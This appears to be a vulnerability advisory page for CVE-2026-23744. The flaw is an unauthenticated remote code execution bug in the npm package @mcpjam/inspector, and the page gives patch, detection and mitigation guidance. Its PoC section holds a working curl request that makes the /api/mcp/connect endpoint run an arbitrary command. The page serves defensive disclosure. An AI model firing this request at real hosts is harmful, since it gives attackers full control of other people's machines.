CVE-2026-23744 is a critical-severity (CVSS 9.8) Missing Authentication vulnerability in @mcpjam/inspector. 7 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for @mcpjam/inspector — see the affected versions and patch details below.
REC in MCPJam inspector due to HTTP Endpoint exposes
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23744.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@mcpjam/inspectornpmDescription
Summary
MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.
This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request.
Details
MCPJam inspector binds to 0.0.0.0 making its HTTP APIs remotely reachable.
const server = serve({
fetch: app.fetch,
port: SERVER_PORT,
hostname: "0.0.0.0",
});
The /api/mcp/connect API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the /connect route, the system extracts the command and args fields without performing any security checks, leading to the execution of arbitrary command.
PoC
(1) Start up the MCPJam inspector as Github README
npx @mcpjam/inspector@latest
(2) RCE by posting a HTTP request
A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment).
curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"
Impact
Remote Code Execution (RCE)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @mcpjam/inspector | all versions | 1.4.3npm install @mcpjam/inspector@1.4.3 |
Affected Products
inspectormcpjamResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
MCPJam Inspector - Remote Code Execution
by Diamorphine · Jul 7, 2026
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @mcpjam/inspector, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @mcpjam/inspector to 1.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-23744 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect CVE-2026-23744
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-23744 -u https://target- Template
- MCPJam Inspector - Remote Code Execution
- Severity
- critical
- Impact
- An unauthenticated attacker can remotely execute arbitrary system commands via the exposed /api/mcp/connect endpoint. Successful exploitation leads to full compromise of the affected host.
- Remediation
- Upgrade MCPJam Inspector to version 1.4.3 or later. Restrict the service to listen on 127.0.0.1.
Template by ProjectDiscovery nuclei-templates (Louay-075), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-23744 in your dependencies?
Find it across npm, including transitive dependencies.